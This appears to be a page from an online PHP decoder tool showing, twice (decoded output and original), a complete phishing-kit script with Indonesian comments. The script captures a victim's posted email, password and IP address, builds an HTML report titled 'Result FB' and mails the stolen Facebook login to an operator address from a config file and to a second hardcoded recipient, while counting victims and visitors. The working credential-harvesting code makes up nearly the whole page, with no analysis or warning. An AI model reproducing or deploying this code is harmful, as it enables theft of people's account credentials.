Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $user = $_POST['user']; $pass = $_POST['pass']; $ip = $_SERVER['REMOTE_ADDR']; ..
Decoded Output download
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$subjek = "Punya si $user | Result FB";
$pesan = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<style type="text/css">
body {
font-family: "Helvetica";
width: 90%;
display: block;
margin: auto;
border: 1px solid #fff;
background: #fff;
}
.result {
width: 100%;
height: 100%;
display: block;
margin: auto;
position: fixed;
top: 0;
right: 0;
left: 0;
bottom: 0;
z-index: 999;
overflow-y: scroll;
border-radius: 10px;
}
/* ... (kode CSS Anda tetap sama) ... */
</style>
</head>
<body>
<div class="result">
<div style="background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab); width: 294; color: #fff; text-align: center; padding: 10px;"> Created by ulinzx</div>
<table class="tblResult">
<tr>
<th style="text-align: center;" colspan="3"> Info Login </th>
</tr>
<tr>
<td style="border-right: none;">Email</td>
<td style="text-align: center;">$user</td>
</tr>
<tr>
<td style="border-right: none;">Password</td>
<td style="text-align: center;">$pass</td>
</tr>
<tr>
<td style="border-right: none;">IP Address</td>
<td style="text-align: center;">$ip</td>
</tr>
<tr>
<th style="text-align: center;" colspan="3">ulinzx</th>
</tr>
</table>
</div>
</body>
</html>
EOD;
// DATA HASIL
$resultGet = file_get_contents("data/data.json");
$resultData = json_decode($resultGet, true);
$headers = 'MIME-Version: 1.0' . "
";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "
";
$headers .= 'From: ' . $resultData['nama'] . ' <[email protected]>' . "
";
// Email pertama (data.json)
if (mail($resultData['email'], $subjek, $pesan, $headers)) {
include 'images/fb.png';
// Update total untuk penerima pertama
$upGet = file_get_contents("data/data.json");
$upData = json_decode($upGet, true);
$hasil = $upData['totals'] + 1;
$upData['totals'] = $hasil;
$upResult = json_encode($upData);
$upFile = fopen('data/data.json', 'w');
fwrite($upFile, $upResult);
fclose($upFile);
}
// Email tambahan untuk penerima kedua
$penerimaKeduaEmail = '[email protected]'; // Gantilah dengan alamat email yang sebenarnya
if (mail($penerimaKeduaEmail, $subjek, $pesan, $headers)) {
// Anda dapat menyertakan gambar atau melakukan tindakan lain untuk penerima kedua jika diperlukan
}
// TODAY
$Tget = file_get_contents("data/visitor.json");
$Tdecode = json_decode($Tget, true);
$today = $Tdecode['today'] + 1;
$Tdecode['today'] = $today;
$Tresult = json_encode($Tdecode);
$Tfile = fopen('data/visitor.json', 'w');
fwrite($Tfile, $Tresult);
fclose($Tfile);
// YESTERDAY
if (date("H:i") == "01:00") {
$Yget = file_get_contents("data/visitor.json");
$Ydecode = json_decode($Yget, true);
$Ydecode['yesterday'] = $Ydecode['today'];
$Ydecode['today'] = 0;
$Yresult = json_encode($Ydecode);
$Yfile = fopen('data/visitor.json', 'w');
fwrite($Yfile, $Yresult);
fclose($Yfile);
}
// ALL OVER
$Aget = file_get_contents("data/visitor.json");
$Adecode = json_decode($Aget, true);
$all = $Adecode['total'] + 1;
$Adecode['total'] = $all;
$Aresult = json_encode($Adecode);
$Afile = fopen('data/visitor.json', 'w');
fwrite($Afile, $Aresult);
fclose($Afile);
// RESULT DATA
$resultGet = file_get_contents("data/data.json");
$resultData = json_decode($resultGet, true);
$headers = 'MIME-Version: 1.0' . "
";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "
";
$headers .= 'From: ' . $resultData['nama'] . ' <[email protected]>' . "
";
if (mail($resultData['email'], $subjek, $pesan, $headers)) {
include 'images/fb.png';
$upGet = file_get_contents("data/data.json");
$upData = json_decode($upGet, true);
$hasil = $upData['totals'] + 1;
$upData['totals'] = $hasil;
$upResult = json_encode($upData);
$upFile = fopen('data/data.json', 'w');
fwrite($upFile, $upResult);
fclose($upFile);
}
?>
Did this file decode correctly?
Original Code
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$subjek = "Punya si $user | Result FB";
$pesan = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<style type="text/css">
body {
font-family: "Helvetica";
width: 90%;
display: block;
margin: auto;
border: 1px solid #fff;
background: #fff;
}
.result {
width: 100%;
height: 100%;
display: block;
margin: auto;
position: fixed;
top: 0;
right: 0;
left: 0;
bottom: 0;
z-index: 999;
overflow-y: scroll;
border-radius: 10px;
}
/* ... (kode CSS Anda tetap sama) ... */
</style>
</head>
<body>
<div class="result">
<div style="background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab); width: 294; color: #fff; text-align: center; padding: 10px;"> Created by ulinzx</div>
<table class="tblResult">
<tr>
<th style="text-align: center;" colspan="3"> Info Login </th>
</tr>
<tr>
<td style="border-right: none;">Email</td>
<td style="text-align: center;">$user</td>
</tr>
<tr>
<td style="border-right: none;">Password</td>
<td style="text-align: center;">$pass</td>
</tr>
<tr>
<td style="border-right: none;">IP Address</td>
<td style="text-align: center;">$ip</td>
</tr>
<tr>
<th style="text-align: center;" colspan="3">ulinzx</th>
</tr>
</table>
</div>
</body>
</html>
EOD;
// DATA HASIL
$resultGet = file_get_contents("data/data.json");
$resultData = json_decode($resultGet, true);
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From: ' . $resultData['nama'] . ' <[email protected]>' . "\r\n";
// Email pertama (data.json)
if (mail($resultData['email'], $subjek, $pesan, $headers)) {
include 'images/fb.png';
// Update total untuk penerima pertama
$upGet = file_get_contents("data/data.json");
$upData = json_decode($upGet, true);
$hasil = $upData['totals'] + 1;
$upData['totals'] = $hasil;
$upResult = json_encode($upData);
$upFile = fopen('data/data.json', 'w');
fwrite($upFile, $upResult);
fclose($upFile);
}
// Email tambahan untuk penerima kedua
$penerimaKeduaEmail = '[email protected]'; // Gantilah dengan alamat email yang sebenarnya
if (mail($penerimaKeduaEmail, $subjek, $pesan, $headers)) {
// Anda dapat menyertakan gambar atau melakukan tindakan lain untuk penerima kedua jika diperlukan
}
// TODAY
$Tget = file_get_contents("data/visitor.json");
$Tdecode = json_decode($Tget, true);
$today = $Tdecode['today'] + 1;
$Tdecode['today'] = $today;
$Tresult = json_encode($Tdecode);
$Tfile = fopen('data/visitor.json', 'w');
fwrite($Tfile, $Tresult);
fclose($Tfile);
// YESTERDAY
if (date("H:i") == "01:00") {
$Yget = file_get_contents("data/visitor.json");
$Ydecode = json_decode($Yget, true);
$Ydecode['yesterday'] = $Ydecode['today'];
$Ydecode['today'] = 0;
$Yresult = json_encode($Ydecode);
$Yfile = fopen('data/visitor.json', 'w');
fwrite($Yfile, $Yresult);
fclose($Yfile);
}
// ALL OVER
$Aget = file_get_contents("data/visitor.json");
$Adecode = json_decode($Aget, true);
$all = $Adecode['total'] + 1;
$Adecode['total'] = $all;
$Aresult = json_encode($Adecode);
$Afile = fopen('data/visitor.json', 'w');
fwrite($Afile, $Aresult);
fclose($Afile);
// RESULT DATA
$resultGet = file_get_contents("data/data.json");
$resultData = json_decode($resultGet, true);
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From: ' . $resultData['nama'] . ' <[email protected]>' . "\r\n";
if (mail($resultData['email'], $subjek, $pesan, $headers)) {
include 'images/fb.png';
$upGet = file_get_contents("data/data.json");
$upData = json_decode($upGet, true);
$hasil = $upData['totals'] + 1;
$upData['totals'] = $hasil;
$upResult = json_encode($upData);
$upFile = fopen('data/data.json', 'w');
fwrite($upFile, $upResult);
fclose($upFile);
}
?>
Function Calls
None |
Stats
MD5 | 461edccd68c84d2a599fdb78fd58bd07 |
Eval Count | 0 |
Decode Time | 60 ms |